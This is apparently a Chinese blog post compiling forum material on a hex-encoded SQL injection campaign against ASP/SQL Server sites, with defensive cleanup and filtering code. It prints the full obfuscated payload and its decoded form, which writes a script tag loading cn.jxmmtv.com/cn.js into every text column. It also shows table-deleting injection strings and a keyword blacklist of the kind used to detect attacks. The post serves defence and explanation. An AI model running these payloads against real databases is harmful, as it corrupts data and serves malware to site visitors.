採用二進制代碼的SQL注入攻擊

--更新 01/03 02:12AM--
發現代碼中並無出奇, 只是將幾年前的冷飯再炒.因爲多年過去了, 可能有人疏忽, 多試一些總有人中招的.
注入方式中數字字段是最容易進入的. 文本也可以, 但在QUERYSTRING中提交文本的情況不如數字多.
最常見的就是形如 news.asp?id=3
在ASP中,疏忽的寫法爲
aspID=request("id")
SQL="SELECT * FROM NEWS WHERE ID=" & aspID
SET RS=Conn.EXEC(SQL)
這裏的ID完全沒有保護, 如果ID是一個字符串, 很容易就注入了
例如ID=3;delete%20from%20news;
直接刪除NEWS表記錄
對於文本來說, 例如news.asp?keyword=abc
aspKeyword=request("keyword")
SQL="SELECT * FROM NEWS WHERE TITLE LIKE '%" &aspKeyword& "%'
注入時就用在KEYWORD裏用單引號封住, 最後再寫一句假的SQL來騙原代碼.
例如 keyword=abc';delete from news;select * from sysobject where SOMETHING LIKE '%
相比ID當然就麻煩的多.
 
下面的內容中的一大堆代碼, 其實是爲了避開防注入程序中限制的一些關鍵字.
看了幾個防注入程序, 一般是通過過濾的方法, 例如
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|daxia123|<script|/script>"
SQL_inj = split(SQL_Injdata,"|")
如果使用了下文的二進制, 還有大小混寫, 是可以繞過上面的程序的.
所以還是要對來源是QUERYSTRING還是FORM,是數字還是文本作嚴格的判斷
對於要求是數字的,可以用ISNUMERIC()函數檢查,如果非數字直接拒絕
對於文本,檢查是否包含單引號, 有的話一率用兩個單引號代替, 在ASP中,兩個單引號的前一個用作了轉義.

剛看到下面的那些文章裏的一堆代碼真被唬了一下, 實際分析還是以前的原理, 所以阻攔方法也沒有變.

--以下內容分別出自--

http://bbs.360safe.com/viewthread.php?tid=606369
http://blog.csdn.net/songz210/archive/2009/01/01/3663861.aspx
http://bbs.ikaka.com/showtopic-8580913-5.aspx


注入攻擊攔截的源碼:

dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)

 

源碼轉譯

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.jxmmtv.com/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 


修復代碼 by 水上飛雲@ http://bbs.ikaka.com/showtopic-8580913-4.aspx#9261365

注:對ntext,text 無效


/***********定義要去除的字符,請注意,

可能不止一條,我的服務器就查到兩條************/
declare @delStr nvarchar(500)
set @delStr='<script src=http://cn.inputthedamnwebsitedomainhere.cn/cn.js></script>'
/****************************************/

/**********以下爲操作實體************/
set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID
int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
 declare cur1 cursor for
       --xtype in (231,167,239,175) 爲char,varchar,nchar,nvarchar類型
       select name from syscolumns where xtype in (231,167,239,175)
and id=@tbID
 open cur1
 fetch next from cur1 into @columnName
 while @@fetch_status=0
 begin
     set @sql='update [' + @tableName + '] set ['+ @columnName +']=
replace(['+@columnName+'],'''+@delStr+''','''') where
['+@columnName+'] like ''%'+@delStr+'%'''
     exec sp_executesql @sql
     set @iRow=@@rowcount
     set @iResult=@iResult+@iRow
     if @iRow>0
     begin
    print 'Table: '+@tableName+', Column:'+@columnName+' has been
updated with '+convert(varchar(10),@iRow)+' record(s);'
     end
     fetch next from cur1 into @columnName


 end
 close cur1
 deallocate cur1

 fetch next from cur into @tableName,@tbID
end
print 'The database has '+convert(varchar(10),@iResult)+' record(s)
been updated.'

close cur
deallocate cur
set nocount off
/*****以上爲操作實體******/


相關建議 by xutingxin @ http://bbs.ikaka.com/showtopic-8580913-5.aspx#9261798
解決辦法:1 嚴格過濾 request.form 和 request.querystring 獲取的內容,堅決不用 request("name") 這樣的方式獲取值,凡是採用 cookies 保存的內容,儘量不要用在sql語句裏進行查詢數據庫操作;2 重要的用戶資料儘量採用 session 驗證,因爲session是服務器端的,客戶端無法僞造數據,除非他有你服務器的權限。

可以採用以下的防範 get 、post以及cookies 注入的代碼來過濾 sql 注入攻擊:


<%
Response.Buffer = True  '緩存頁面
'防範get注入
If Request.QueryString <> ""  Then StopInjection(Request.QueryString)
'防範post注入
If Request.Form <> ""  Then StopInjection(Request.Form)
'防範cookies注入
If Request.Cookies <> ""  Then StopInjection(Request.Cookies)
'正則子函數
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern = "'|;|#|([/s/b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[/s/b[/email]+]*)"
    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write "<Script Language=javascript>alert('非法注入!你的行爲已被記錄!!');history.back(-1);</Script>"
            Response.End
        End If
    Next
    Set regEx = Nothing
End function
%>

    把以上的代碼另存爲一個文件,如 antisql.asp ,然後在數據庫連接文件開頭包含這個文件 <!--#include file="antisql.asp"--> ,就可以實現全站的防範 sql 注入的攻擊了。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章